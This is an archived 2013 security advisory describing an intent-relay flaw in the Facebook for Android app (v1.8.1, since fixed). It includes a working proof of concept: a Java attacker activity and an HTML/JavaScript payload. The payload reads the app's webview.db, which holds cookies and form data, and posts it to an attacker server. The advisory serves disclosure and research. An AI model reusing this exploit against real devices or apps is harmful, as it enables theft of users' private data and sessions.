Facebook For Android Information Disclosure

🗓️ 08 Jan 2013 00:00:00Reported by Takeshi TeradaType
packetstorm🔗 packetstormsecurity.com👁 28 Views
Facebook Android LoginActivity allows malicious apps to access private files, leading to information disclosur
`Title: Facebook for Android - Information Diclosure Vulnerability  
Affected Software: Facebook Application 1.8.1 for Android  
(Confirmed on Android 2.2)  
Credit: Takeshi Terada  
Issue Status: v1.8.2 was released which fixes this vulnerability  
  
Overview:  
The LoginActivity of Facebook app has improper intent handling flaw.  
The flaw enables malicious apps to steal Facebook app's private files.  
  
Details:  
LoginActivity of Facebook app is "exported" to other apps. When  
the activity is called and the user is logged-in to Facebook, the  
activity pulls out an intent named "continuation_intent" from the  
extra data of the incoming intent. Then LoginActivity launches  
another activity by using continuation_intent.  
  
This behavior is dangerous because the actions described in the  
intent (continuation_intent) given by other apps is performed  
in the context (permission and identity) of Facebook app.  
  
This enables attacker's apps to call (and attack) Facebook app's  
private (not "exported") activities, by using LoginActivity as a  
stepping-stone.  
  
[Example of attack targeting FacebookWebViewActivity]  
  
FacebookWebViewActivity reads an URL string from incoming intent's  
extra data, and loads the URL into its JavaScript-enabled WebView.  
  
FacebookWebViewActivity itself is not "exported" to other apps,  
so attacker's app cannot directy call it. But attacker's app can  
leverage the LoginActivity's flaw to relay a malicious intent to  
FacebookWebViewActivity, so that the activity loads an attacker-  
supplied URL into its WebView.  
  
In general, when an URL beginning with "file:///" is loaded in a  
WebView, the loaded page works in "Local Zone". "Local Zone" means  
that JavaScript in the page can read other local files, to which the  
WebView's owner process has read permission. XHR or so can be used  
to read other local files. Thus the victim app's private files are  
to be disclosed to the attacker, if the attacker's app succeeds to  
inject an URL of attacker-supplied local HTML file into the victim  
app's WebView.  
  
By using the method described above, attacker's app can get Facebook  
app's private files such as files under /data/data/com.facebook.katana/  
directory.  
  
For more specific information, see the PoC code.  
  
Proof of Concept:  
++++++ Attacker's app (activity) ++++++  
  
// notice: for a successful attack, the victim user must be logged-in  
// to Facebook in advance.  
public class AttackFacebook extends Activity {  
  
// package name of Facebook app  
static final String FB_PKG = "com.facebook.katana";  
  
// LoginActivity of Facebook app  
static final String FB_LOGIN_ACTIVITY  
= FB_PKG + ".LoginActivity";  
  
// FacebookWebViewActivity of Facebook app  
static final String FB_WEBVIEW_ACTIVITY  
= FB_PKG + ".view.FacebookWebViewActivity";  
  
@Override  
public void onCreate(Bundle bundle) {  
super.onCreate(bundle);  
attack();  
}  
  
// main method  
public void attack() {  
// create continuation_intent to call FacebookWebViewActivity.  
Intent contIntent = new Intent();  
contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY);  
// URL pointing to malicious local file.  
// FacebookWebViewActivity will load this URL into its WebView.  
contIntent.putExtra("url", "file:///sdcard/attack.html");  
  
// create intent to be sent to LoginActivity.  
Intent intent = new Intent();  
intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY);  
intent.putExtra("login_redirect", false);  
  
// put continuation_intent into extra data of the intent.  
intent.putExtra(FB_PKG + ".continuation_intent", contIntent);  
  
// call LoginActivity  
this.startActivity(intent);  
}  
}  
  
++++++ Attacker's HTML/JavaScript file ++++++  
  
<!--  
attacker's app should put this file to /sdcard/attack.html in advance  
-->  
<html>  
<body onload="doAttack()">  
<h1>attack.html</h1>  
<script>  
// file path to steal. webview.db can be a good target for attackers  
// because it contains cookies, formdata etc.  
var target = "file:///data/data/com.facebook.katana/databases/webview.db";  
  
// get the contents of the target file by XHR  
function doAttack() {  
var xhr1 = new XMLHttpRequest();  
xhr1.overrideMimeType("text/plain; charset=iso-8859-1");  
xhr1.open("GET", target);  
xhr1.onreadystatechange = function() {  
if (xhr1.readyState == 4) {  
var content = xhr1.responseText;  
// send the content of the file to attacker's server  
sendFileToAttackerServer(content);  
// for debug  
document.body.appendChild(document.createTextNode(content));  
}  
};  
xhr1.send();  
}  
  
// Send the content of target file to the attacker's server  
function sendFileToAttackerServer(content) {  
var xhr2 = new XMLHttpRequest();  
xhr2.open("POST", "http://www.example.jp/");  
xhr2.send(encodeURIComponent(content));  
}  
</script>  
</body>  
</html>  
  
Note:  
1. Android framework provides "PendingIntent" mechanism to safely  
perform the actions of an intent given by untrusted apps.   
In some situations, it can be a good measure for this kind of vulns.  
  
2. Security of WebViews was improved in Android 4.1, so that attacks  
abusing WebViews may not work in apps built for recent versions  
of Android.  
  
3. The issue in this advisory was fixed almost a year ago. But I think  
the issue is quite unique and is interesting for Android security  
researchers, so I decided to disclose this old issue here.  
  
Timeline:  
2012/01/21 Reported to vender  
2012/02/02 Vender released fixed version (v1.8.2)  
2013/01/07 Disclosure of this advisory  
  
Recommendation:  
Upgrade to the latest version.  
`
08 Jan 2013 00:00Current
7.4High risk
Vulners AI Score7.4